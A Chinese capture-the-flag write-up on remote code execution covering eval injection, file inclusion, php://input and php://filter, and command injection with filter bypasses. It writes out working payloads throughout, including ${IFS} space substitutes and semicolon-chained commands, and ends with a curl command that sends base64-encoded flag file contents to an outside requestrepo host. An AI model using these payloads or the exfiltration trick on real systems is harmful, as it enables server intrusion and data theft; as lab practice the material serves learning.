跳至主要內容

RCE

LPrincess大约 5 分钟ctfrce

RCE

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)是互联网的一种安全漏洞

它可以让攻击者直接向后台服务器远程注入操作系统命令,相当于直接操控服务器电脑的cmd命令行!从而操控后台系统,高危漏洞!

RCE漏洞产生的根本原因:服务器像php环境版本对可执行变量函数没有做过滤,导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵。

eval执行

我们直接在输入栏上输入类似cmdopen in new window的命令行,直接操作web服务器执行我们所写的命令内容。

查看根目录文件 : /?cmd=system("ls");

返回上一级: /?cmd=system("ls /");

直接 cat 出 flag 的文件: /?cmd=system("cat /flag_12832");

文件包含

形如以下就是 eval 漏洞

<?php eval($_REQUEST['ctfhub']);?>

并且 $_REQUEST['ctfhub']

文件包含漏洞利用的前提条件:

(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参 数的方式引入;

(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

文件包含获取 webshell 的条件:

(1)攻击者需要知道文件存放的物理路径;

(2)对上传文件所在目录拥有可执行权限;

(3)存在文件包含漏洞;

ps

ctfhub这题用kali——应用POST请求,我这里是使用的curl进行的请求

  • 先看主页面有什么文件
curl http://....10080?file=shell.txt -X POST -d "ctfhub=system('ls');"
  • 返回上一个目录
curl http://...10080?file=shell.txt -X POST -d "ctfhub=system('ls /');"
  • cat flag
curl http://...10080?file=shell.txt -X POST -d "ctfhub=system('cat /flag');"

php://input

查看phpinfo,是否能使用流

DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOnOn

利用BS抓包和返包

POST /?file=php://input HTTP/1.1

Host: challenge-a5ad81fc94962949.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 23

12<?php system('ls /');?>

远程包含

不知道这道题需要考察什么知识点,反正先点开那个phpinfo 查看一下,CTRL+F 搜索 是否支持input ,发现居然支持,然后就按照往常的套路来。1.BS抓包 2.改包返包

allow_url_include是否为On

源代码读取

​ 网页删没有给出很多的提示,题目说给出源代码读取的题,那么我们就直接按照题目意思去解题即可。 这里会用到php://filter,这用来读取源代码,是 php 中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字,filter,可以很容易想到这个协议可以用来过滤一些东西;

通过Base64来进行源代码的回显,这里我不是特别明白为什么需要使用Base64进行回显直接按照语法构造

?file=php://filter/**convert.base64-encode/resource=/flag**

命令注入

​ 这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag。既然叫我们 ping ,那我们就随便输入几个IP进行测试,但是我们发现没什么反应。

既然是命令注入,那应该是相当于这个窗口是一个能执行命令的一个地方,那我们就试试使用 Linux 的链接符号进行连接,执行多条语句。

linux中命令的链接符号

&&  :就是且操作,前面的语句执行成功才能继续执行下一条语句,直到全部的语句都执行成功。
||  :或操作,先执行前面的操作若是不成功继续执行后面的操作只到成功。
|   :管道操作,改变管道流的源目的地,就是使前面语句的结果做为后面语句的输入
&   :连接多个命令,使后后面的语句在后台执行,不回显到前台界面。
;   :直接连接多个命令
  • 先用 & 连接 -> ls 看一下有什么文件
(随便一个ip) & ls
  • 发现可疑文件用 cat 查看
(随便ip) & cat *.php |base64

过滤cat

在 linux 下,不只有 cat 可以读取文件内容,more less head tac,都可以对文本进行读取。

  • 先用& 连接ls看一下有什么文件
(随便一个ip) & ls
  • 发现的可疑文件cat查看
(随便ip) & more less head tac *.php |base64

过滤空格

Linux用($IFS或者<代替空格)

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}来代替空格

过滤目录分隔符

过滤了目录分割符 /既然过滤了/,那我们就不能直接查看文件里面的文件了

利用分号使两个命令同时进行

因此这题应该:

127.0.0.1&ls

127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat flag_1761559011812.php|base64

命令注入-过滤运算符

可以使用base64 1.php这个与cat 1.php|base64是等价的。

127.0.0.1;base64 flag_1084102149665.php

题目1

网页中显示:

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
function strCheck($cmd)  
{  
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){  
        return($cmd);  
    }  
    else{  
        die("i hate this");        
      }  
}  
$cmd=$_GET['cmd'];  
strCheck($cmd);  
shell_exec($cmd);  
?>

查看代码,可能是绕过 试试,发现没有回显

接下来使用request repoopen in new window网站

给这个URL前面加个http://

然后给这个URL加个GET参数,用反引号来读取我们的值,读取FLAG

然后ls 看一下当前目录,

然后base64编码,因为它这里面可能有换行和空格之类的,我们统一编码,

然后执行

?cmd=curl http://s07bjnf8.requestrepo.com/?1=`ls | base64`

可以看到网站接收到了信息

index.php

?cmd=curl http://dxc3q11g.requestrepo.com/?1=`cat /fla? | base64`

获得flag:

xujc{f6f7562d-ef43-4263-9838-75e874906706}
上次编辑于:
贡献者: L-mj0